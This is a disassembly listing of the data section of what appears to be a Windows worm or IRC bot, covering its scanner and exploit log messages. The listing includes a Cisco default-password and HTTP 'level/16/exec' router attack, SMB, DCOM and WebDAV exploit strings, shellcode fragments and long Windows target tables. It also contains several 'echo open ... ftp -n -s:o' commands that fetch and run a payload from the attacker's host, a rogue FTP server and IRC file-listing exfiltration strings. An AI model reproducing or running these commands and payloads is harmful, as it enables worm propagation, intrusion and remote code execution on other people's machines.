asc_432C9C db '-' ; DATA XREF: sub_40BCF3+86o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_432CD4[]
asc_432CD4 db '-' ; DATA XREF: sub_40BEFE+1E5o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 4
; char asc_432D14[]
asc_432D14 db '-' ; DATA XREF: sub_40BEFE+16Do
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
; char asc_432D4C[]
asc_432D4C db '-' ; DATA XREF: sub_40BEFE+108o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_432D80[]
asc_432D80 db '-' ; DATA XREF: sub_40BEFE+89o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 4
; char asc_432DB4[]
asc_432DB4 db '-' ; DATA XREF: sub_40C15B+16Bo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
; char asc_432DE8[]
asc_432DE8 db '-' ; DATA XREF: sub_40C15B+82o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
; char asc_432E18[]
asc_432E18 db '-' ; DATA XREF: sub_40C30A+8Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0
align 10h
; char asc_432E40[]
asc_432E40 db '-' ; DATA XREF: sub_40C3D3+40o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0
align 4
; char asc_432E68[]
asc_432E68 db '-' ; DATA XREF: sub_40C4C0+CDo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedScanni db 'Finished scanning IP: %s.',0
align 4
; char asc_432E94[]
asc_432E94 db '-' ; DATA XREF: sub_40C4C0+40o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0
align 10h
unk_432EC0 db 2Dh ; - ; DATA XREF: .text:0040C6D6o
db 3, 34h, 2
db 63h ; c
db 69h, 73h, 63h
db 6Fh ; o
db 28h, 74h, 65h
db 6Ch ; l
db 6Eh, 65h, 74h
db 29h ; )
db 3, 2, 2Dh
aFoundRouterS db ' found router: %s',0
align 4
aUserAccessVeri db 0Dh,0Ah ; DATA XREF: .text:0040C6B1o
db 0Dh,0Ah
db 'User Access Verification',0Dh,0Ah
db 0Dh,0Ah
db 'Password',0
align 4
aPass db 0Dh,0Ah ; DATA XREF: .text:0040C69Ao
db 'Pass',0
align 4
aCisco db 'cisco',0Dh,0 ; DATA XREF: .text:0040C675o
align 4
unk_432F24 db 2Dh ; - ; DATA XREF: .text:0040C83Fo
db 3, 34h, 2
db 63h ; c
db 69h, 73h, 63h
db 6Fh ; o
db 28h, 68h, 74h
db 74h ; t
db 70h, 29h, 3
db 2
aFoundRouterS_0 db '- found router: %s',0
aHttp1_0200Ok db 'HTTP/1.0 200 OK',0 ; DATA XREF: .text:0040C804o
aGetLevel16Exec db 'GET /level/16/exec/-///pwd HTTP/1.0',0Ah ; DATA XREF: .text:0040C7A1o
db 0Ah,0
align 10h
dword_432F80 dd 0 ; DATA XREF: sub_40C89B+9Ao
asc_432F84: ; DATA XREF: sub_40C89B+17o
; sub_40C979+17o
unicode 0, <\\>,0
align 4
off_432F8C dd offset dword_49005C ; DATA XREF: sub_40C89B+Co
; sub_40C979+Co
dd offset aVonhoffman+4
dd 24h
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .text:0040CC88o
align 4
aThcownziis db 'THCOWNZIIS!',0 ; DATA XREF: .text:0040CF5Eo
dword_432FB8 dd 0FEBh ; DATA XREF: .text:0040CF53o
; char aBling_exe[]
aBling_exe db 'bling.exe',0Dh,0Ah,0 ; DATA XREF: sub_40D055+85o
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40D055+42o
db 'echo quit >> o &ftp -n -s:o',0Dh,0Ah,0
align 4
a7_0 db '7.0',0 ; DATA XREF: .text:0040D7CFo
a6_0 db '6.0',0 ; DATA XREF: .text:0040D7BEo
a5_0 db '5.0',0 ; DATA XREF: .text:0040D7ADo
a4_0 db '4.0',0 ; DATA XREF: .text:0040D79Co
aHotfix2 db 'hotfix2',0 ; DATA XREF: .text:loc_40D78Bo
a8_15 db '8.15',0 ; DATA XREF: .text:loc_40D75Eo
align 4
a8_14 db '8.14',0 ; DATA XREF: .text:loc_40D604o
align 10h
a8_13 db '8.13',0 ; DATA XREF: .text:loc_40D5DAo
align 4
a8_12 db '8.12',0 ; DATA XREF: .text:loc_40D5B0o
align 10h
a8_11 db '8.11',0 ; DATA XREF: .text:loc_40D583o
align 4
a8_10 db '8.10',0 ; DATA XREF: .text:loc_40D556o
align 10h
a8_05 db '8.05',0 ; DATA XREF: .text:loc_40D529o
align 4
a8_04 db '8.04',0 ; DATA XREF: .text:loc_40D4FCo
align 10h
a8_03 db '8.03',0 ; DATA XREF: .text:loc_40D4CFo
align 4
a8_02 db '8.02',0 ; DATA XREF: .text:loc_40D4A2o
align 10h
a8_01 db '8.01',0 ; DATA XREF: .text:loc_40D475o
align 4
a8_00 db '8.00',0 ; DATA XREF: .text:loc_40D448o
align 10h
a7_15 db '7.15',0 ; DATA XREF: .text:loc_40D41Bo
align 4
a7_14 db '7.14',0 ; DATA XREF: .text:0040D3EEo
align 10h
a7_13 db '7.13',0 ; DATA XREF: .text:loc_40D3DDo
align 4
a7_12 db '7.12',0 ; DATA XREF: .text:loc_40D3B0o
align 10h
a7_11 db '7.11',0 ; DATA XREF: .text:0040D383o
align 4
a7_10 db '7.10',0 ; DATA XREF: .text:loc_40D372o
align 10h
a7_07 db '7.07',0 ; DATA XREF: .text:0040D348o
align 4
a7_06 db '7.06',0 ; DATA XREF: .text:loc_40D337o
align 10h
a7_05 db '7.05',0 ; DATA XREF: .text:loc_40D30Do
align 4
a7_04 db '7.04',0 ; DATA XREF: .text:0040D2DBo
align 10h
aImail db 'IMail',0 ; DATA XREF: .text:0040D2C1o
; .text:loc_40D7DEo
align 4
dword_4330F8 dd 6EB06EBh, 0 ; DATA XREF: sub_40D7FE+17Ao
; sub_40DDD9+1A2o
; char aSIpc[]
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D7FE+27o
; sub_40DDD9+27o ...
align 4
dword_43310C dd 1CEC8166h ; DATA XREF: sub_40D7FE+Dr
; sub_40DDD9+Dr
dword_433110 dd 0E4FF07h ; DATA XREF: sub_40D7FE+16r
; sub_40DDD9+16r
; char aMsgBodySizeD[]
aMsgBodySizeD db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40E3B2+177o
align 4
aMessage db '*** MESSAGE ***',0 ; DATA XREF: sub_40E3B2+51o
dword_43313C dd 90909090h, 909010EBh, 90909090h, 0 ; DATA XREF: sub_40E3B2+42o
dword_43314C dd 90909090h, 5803EB90h, 0F8E805EBh, 0B9FFFFFFh, 0FFFFFFFFh
; DATA XREF: sub_40E3B2+35o
dd 0EE7FE981h, 0C12BFFFFh, 0E0FFh
aAdik db 'ADIK',0 ; DATA XREF: sub_40E3B2+28o
align 4
aNetmaniac db 'NETMANIAC',0 ; DATA XREF: sub_40E3B2+1Co
align 10h
dword_433180 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_40E3B2+10o
dd 0FFFFFFFFh, 0
aWindowsXpSp1En db 'Windows XP SP 1 (en)',0 ; DATA XREF: .text:0040E5D0o
align 4
aWindows2000Sp3 db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: .text:0040E5A9o
align 10h
; char asc_4331C0[]
asc_4331C0: ; DATA XREF: sub_40E971+31Eo
unicode 0, <`>,0
; char dword_4331C4[]
dword_4331C4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40E971+2F2o
; char dword_4331D0[]
dword_4331D0 dd 30h ; DATA XREF: sub_40E971+2C6o
; char dword_4331D4[]
dword_4331D4 dd 0A1h ; DATA XREF: sub_40E971+29Ao
dword_4331D8 dd 3 ; DATA XREF: sub_40E971+243o
; char aCccc[]
aCccc db 'CCCC',0 ; DATA XREF: sub_40E971+14Bo
align 4
; char dword_4331E4[]
dword_4331E4 dd 909006EBh, 90909090h, 0 ; DATA XREF: sub_40E971+E0o
dbl_4331F0 dq 1.388888888888889e-2 ; DATA XREF: sub_40EEBD+3Ar
dbl_4331F8 dq 1.666666666666667e-1 ; DATA XREF: sub_40EEBD:loc_40EED8r
dbl_433200 dq 4.294967296e9 ; DATA XREF: sub_40EEBD+15r
; sub_40EEBD+30r ...
dbl_433208 dq 1.333333333333333 ; DATA XREF: sub_40F47A:loc_40F4F1r
; char aGetHttp1_0Host[]
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40F5F6+63o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: .text:0040F728o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
; char aAdmin[]
aAdmin db 'admin$',0 ; DATA XREF: sub_40F87A+3Do
align 4
; char asc_4332BC[]
asc_4332BC: ; DATA XREF: sub_40F87A+32o
; sub_414B1C+2Co
unicode 0, <\>,0
; char asc_4332C0[]
asc_4332C0 db '\\',0 ; DATA XREF: sub_40F87A+19o
align 4
a8a885d041ceb11 db '8a885d04-1ceb-11c9-9fe8-08002b104860',0 ; DATA XREF: sub_40FA56+Co
align 4
aFdb3a030065f11 db 'fdb3a030-065f-11d1-bb9b-00a024ea5525',0 ; DATA XREF: .text:0040FB79o
align 4
; char asc_433314[]
asc_433314 db '-' ; DATA XREF: sub_40FDC3+211o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 62h
db 69h ; i
db 6Fh, 73h, 3
db 2
aExploitingIpSS db '- Exploiting IP: %s, Share: \%s, User: (%s/%s)',0
aNoPassword db '(no password)',0 ; DATA XREF: sub_40FDC3+1EAo
align 10h
; char aSSS_2[]
aSSS_2 db '%s\%s\%s',0 ; DATA XREF: sub_40FDC3+CAo
align 4
aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: sub_40FDC3+71o
aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: sub_40FDC3+6Ao
align 4
aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: sub_40FDC3+63o
; char aSIpc_0[]
aSIpc_0 db '%s\ipc$',0 ; DATA XREF: sub_4100AE+53o
; char aS_1[]
aS_1 db '\\%s',0 ; DATA XREF: sub_4100AE+15o
; sub_410F37+124o
align 4
aSPipeLsarpc db '\\%s\pipe\lsarpc',0 ; DATA XREF: .text:004105C6o
align 4
aSIpc_1 db '\\%s\IPC$',0 ; DATA XREF: .text:00410818o
align 4
; char aSD_1[]
aSD_1 db '%s%d',0Dh,0Ah ; DATA XREF: sub_410BF8+143o
db 0Dh,0Ah,0
align 10h
; char aSearchSHttp1_1[]
aSearchSHttp1_1 db 'SEARCH /%s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_410BF8+127o
db 'Host: %s',0Dh,0Ah
db 'Content-type: text/xml',0Dh,0Ah
db 'Content-Length: ',0
a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_410BF8+40o
db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah
db '<g:sql>',0Dh,0Ah
db 'Select "DAV:displayname" from scope()',0Dh,0Ah
db '</g:sql>',0Dh,0Ah
db '</g:searchrequest>',0Dh,0Ah,0
aWin2kSp0FromPh db 'Win2K SP0 From PhaTTy 1',0
aWin2kSp1FromPh db 'Win2K SP1 From PhaTTy 2',0
aWin2kSp2FromPh db 'Win2K SP2 From PhaTTy 1',0
aWin2kSp3FromPh db 'Win2K SP3 From PhaTTy 1',0
aWin2kSp4FromPh db 'Win2K SP4 From PhaTTy 3',0
aWin2kSp4From_0 db 'Win2K SP4 From PhaTTy 2',0
aWin2kSp1From_0 db 'Win2K SP1 From PhaTTy 1',0
aWin2kSp4From_1 db 'Win2K SP4 From PhaTTy 1',0
aDosXpAll db 'DoS XP ALL',0
align 4
aWindowsUk2k3Ee db 'Windows uk 2k3 ee sp0 24',0
align 4
aWindowsUk2k3_0 db 'Windows uk 2k3 ee sp0 23',0
align 4
aWindowsUk2k3_1 db 'Windows uk 2k3 ee sp0 22',0
align 10h
aWindowsUk2k3_2 db 'Windows uk 2k3 ee sp0 21',0
align 4
aWindowsUk2k3_3 db 'Windows uk 2k3 ee sp0 20',0
align 4
aWindowsUk2k3_4 db 'Windows uk 2k3 ee sp0 19',0
align 4
aWindowsUk2k3_5 db 'Windows uk 2k3 ee sp0 18',0
align 10h
aWindowsUk2k3_6 db 'Windows uk 2k3 ee sp0 17',0
align 4
aWindowsUk2k3_7 db 'Windows uk 2k3 ee sp0 16',0
align 4
aWindowsUk2k3_8 db 'Windows uk 2k3 ee sp0 15',0
align 4
aWindowsUk2k3_9 db 'Windows uk 2k3 ee sp0 14',0
align 10h
aWindowsUk2k_10 db 'Windows uk 2k3 ee sp0 13',0
align 4
aWindowsUk2k_11 db 'Windows uk 2k3 ee sp0 12',0
align 4
aWindowsUk2k_12 db 'Windows uk 2k3 ee sp0 11',0
align 4
aWindowsUk2k_13 db 'Windows uk 2k3 ee sp0 10',0
align 10h
aWindowsUk2k_14 db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_15 db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_16 db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_17 db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_18 db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_19 db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_20 db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_21 db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_22 db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k3Se db 'Windows uk 2k3 se sp0 24',0
align 4
aWindowsUk2k_23 db 'Windows uk 2k3 se sp0 23',0
align 10h
aWindowsUk2k_24 db 'Windows uk 2k3 se sp0 22',0
align 4
aWindowsUk2k_25 db 'Windows uk 2k3 se sp0 21',0
align 4
aWindowsUk2k_26 db 'Windows uk 2k3 se sp0 20',0
align 4
aWindowsUk2k_27 db 'Windows uk 2k3 se sp0 19',0
align 10h
aWindowsUk2k_28 db 'Windows uk 2k3 se sp0 18',0
align 4
aWindowsUk2k_29 db 'Windows uk 2k3 se sp0 17',0
align 4
aWindowsUk2k_30 db 'Windows uk 2k3 se sp0 16',0
align 4
aWindowsUk2k_31 db 'Windows uk 2k3 se sp0 15',0
align 10h
aWindowsUk2k_32 db 'Windows uk 2k3 se sp0 14',0
align 4
aWindowsUk2k_33 db 'Windows uk 2k3 se sp0 13',0
align 4
aWindowsUk2k_34 db 'Windows uk 2k3 se sp0 12',0
align 4
aWindowsUk2k_35 db 'Windows uk 2k3 se sp0 11',0
align 10h
aWindowsUk2k_36 db 'Windows uk 2k3 se sp0 10',0
align 4
aWindowsUk2k_37 db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k_38 db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k_39 db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k_40 db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k_41 db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k_42 db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k_43 db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k_44 db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k_45 db 'Windows uk 2k3 se sp0 1',0
aWindowsUkXpPro db 'Windows uk xp pro sp1 25',0
align 10h
aWindowsUkXpP_0 db 'Windows uk xp pro sp1 24',0
align 4
aWindowsUkXpP_1 db 'Windows uk xp pro sp1 23',0
align 4
aWindowsUkXpP_2 db 'Windows uk xp pro sp1 22',0
align 4
aWindowsUkXpP_3 db 'Windows uk xp pro sp1 21',0
align 10h
aWindowsUkXpP_4 db 'Windows uk xp pro sp1 20',0
align 4
aWindowsUkXpP_5 db 'Windows uk xp pro sp1 19',0
align 4
aWindowsUkXpP_6 db 'Windows uk xp pro sp1 18',0
align 4
aWindowsUkXpP_7 db 'Windows uk xp pro sp1 17',0
align 10h
aWindowsUkXpP_8 db 'Windows uk xp pro sp1 16',0
align 4
aWindowsUkXpP_9 db 'Windows uk xp pro sp1 15',0
align 4
aWindowsUkXp_10 db 'Windows uk xp pro sp1 14',0
align 4
aWindowsUkXp_11 db 'Windows uk xp pro sp1 13',0
align 10h
aWindowsUkXp_12 db 'Windows uk xp pro sp1 12',0
align 4
aWindowsUkXp_13 db 'Windows uk xp pro sp1 11',0
align 4
aWindowsUkXp_14 db 'Windows uk xp pro sp1 10',0
align 4
aWindowsUkXp_15 db 'Windows uk xp pro sp1 9',0
aWindowsUkXp_16 db 'Windows uk xp pro sp1 8',0
aWindowsUkXp_17 db 'Windows uk xp pro sp1 7',0
aWindowsUkXp_18 db 'Windows uk xp pro sp1 6',0
aWindowsUkXp_19 db 'Windows uk xp pro sp1 5',0
aWindowsUkXp_20 db 'Windows uk xp pro sp1 4',0
aWindowsUkXp_21 db 'Windows uk xp pro sp1 3',0
aWindowsUkXp_22 db 'Windows uk xp pro sp1 2',0
aWindowsUkXp_23 db 'Windows uk xp pro sp1 1',0 ; DATA XREF: .data:004415A0o
aWindows2000Sp4 db 'Windows 2000 SP4 GER FAT32',0
align 4
aWindowsNlSp123 db 'Windows nl sp1 23',0
align 4
aWindowsNlSp122 db 'Windows nl sp1 22',0
align 10h
aWindowsNlSp121 db 'Windows nl sp1 21',0
align 4
aWindowsNlSp120 db 'Windows nl sp1 20',0
align 4
aWindowsNlSp119 db 'Windows nl sp1 19',0
align 4
aWindowsNlSp118 db 'Windows nl sp1 18',0
align 10h
aWindowsNlSp117 db 'Windows nl sp1 17',0
align 4
aWindowsNlSp116 db 'Windows nl sp1 16',0
align 4
aWindowsNlSp115 db 'Windows nl sp1 15',0
align 4
aWindowsNlSp114 db 'Windows nl sp1 14',0
align 10h
aWindowsNlSp113 db 'Windows nl sp1 13',0
align 4
aWindowsNlSp112 db 'Windows nl sp1 12',0
align 4
aWindowsNlSp111 db 'Windows nl sp1 11',0
align 4
aWindowsNlSp110 db 'Windows nl sp1 10',0
align 10h
aWindowsNlSp19 db 'Windows nl sp1 9',0
align 4
aWindowsNlSp18 db 'Windows nl sp1 8',0
align 4
aWindowsNlSp17 db 'Windows nl sp1 7',0
align 4
aWindowsNlSp16 db 'Windows nl sp1 6',0
align 10h
aWindowsNlSp15 db 'Windows nl sp1 5',0
align 4
aWindowsNlSp14 db 'Windows nl sp1 4',0
align 4
aWindowsNlSp13 db 'Windows nl sp1 3',0
align 4
aWindowsNlSp12 db 'Windows nl sp1 2',0
align 10h
aWindowsNlSp11 db 'Windows nl sp1 1',0
align 4
aWindowsXpSp01E db 'Windows XP SP0+1 ENG',0 ; DATA XREF: .data:00441410o
align 4
aWindowsXpSp01G db 'Windows XP SP0+1 GER+NL+IT+FR',0
align 4
dword_433F2C dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_410F37+256o
dword_433F40 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0
; DATA XREF: sub_410F37+20Co
; char aSPipeWkssvc[]
aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_410F37+1B5o
align 4
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_411555+12Do
; sub_41C9D4+1Fo
; char aEchoOpenSDOE_0[]
aEchoOpenSDOE_0 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_411722+27Co
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
; char asc_433FE0[]
asc_433FE0 db '-' ; DATA XREF: sub_411722+20Eo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aClientConnecti db '- Client connection from IP: %s:%d.',0
align 4
; char asc_434018[]
asc_434018 db '-' ; DATA XREF: sub_411722+F1o
; sub_411722+172o
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aErrorBindFaile db '- Error: bind() failed, returned: <%d>.',0
align 4
; char asc_434054[]
asc_434054 db '-' ; DATA XREF: sub_411722+6Bo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 10h
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_411B17+5B7o
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_411B17+599o
align 10h
; char asc_4340D0[]
asc_4340D0 db '-' ; DATA XREF: sub_411B17+548o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 3
db 2, 2Dh, 20h
aSentFileToS db 'sent file to %s',0
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_411B17+536o
; char asc_434104[]
asc_434104 db '-' ; DATA XREF: sub_411B17+4ECo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 3
db 2, 2Dh, 20h
aStartingTransf db 'starting transfer to %s',0
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_411B17+4C3o
align 4
; char aRetr[]
aRetr db 'RETR',0 ; DATA XREF: sub_411B17+4ABo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_411B17+49Eo
align 4
; char aS_S_S_S[]
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_411B17+48Do
; char aXX[]
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_411B17+45Ao
align 10h
; char aS_2[]
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_411B17+416o
db ']',0
; char aPort[]
aPort db 'PORT',0 ; DATA XREF: sub_411B17+3DDo
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_411B17+3BCo
align 4
; char aList_0[]
aList_0 db 'LIST',0 ; DATA XREF: sub_411B17+3A8o
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_411B17+371o
align 4
; char aPasv[]
aPasv db 'PASV',0 ; DATA XREF: sub_411B17+35Do
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_411B17+350o
; char aI_0[]
aI_0: ; DATA XREF: sub_411B17+33Co
; .data:00442F50o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_411B17+318o
; char aA_0[]
aA_0: ; DATA XREF: sub_411B17+304o
; .data:00442F5Co
unicode 0, <A>,0
; char aType[]
aType db 'TYPE',0 ; DATA XREF: sub_411B17+2EDo
; sub_411B17+325o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_411B17+2E0o
align 4
; char off_43426C[]
off_43426C dd offset dword_445750 ; DATA XREF: sub_411B17+2CCo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_411B17+2BFo
align 4
; char aRest[]
aRest db 'REST',0 ; DATA XREF: sub_411B17+2ABo
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_411B17+29Eo
align 4
; char aSyst[]
aSyst db 'SYST',0 ; DATA XREF: sub_411B17+28Ao
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_411B17+27Do
align 4
; char aPass_0[]
aPass_0 db 'PASS',0 ; DATA XREF: sub_411B17+269o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_411B17+25Co
align 4
; char aUser_1[]
aUser_1 db 'USER',0 ; DATA XREF: sub_411B17+247o
align 4
; char aSS_3[]
aSS_3 db '%s %s',0 ; DATA XREF: sub_411B17+239o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_411B17+1BEo
align 4
; char aFoundIFilesAnd[]
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_412135+64Do
align 10h
; char aTrTdColspan3_0[]
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_412135+61Do
align 4
; char a31s21sIBytes[]
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_412135+58Eo
align 8
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_412135+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_412135:loc_412658o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_412135+51Co
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_412135+476o
align 10h
; char a31s21s[]
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_412135+439o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_412135+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aCodeSCodeA[]
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_412135:loc_412502o
align 10h
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_412135+3C6o
align 10h
; char aSS_4[]
aSS_4 db '%s%s/',0 ; DATA XREF: sub_412135+379o
align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+335o
; sub_412135+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
; char aPrivmsgS31s21s[]
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_412135+308o
align 4
; char aS_3[]
aS_3 db '<%s>',0 ; DATA XREF: sub_412135+2DEo
; sub_412135+418o
align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_412135+2B4o
aAm db 'AM',0 ; DATA XREF: sub_412135+293o
align 10h
aPm_0 db 'PM',0 ; DATA XREF: sub_412135+288o
align 4
; char a__[]
a__ db '..',0 ; DATA XREF: sub_412135+231o
align 4
; char aTrTdColspan3AH[]
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aSearchingForS[]
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_412135:loc_412276o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_412135+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
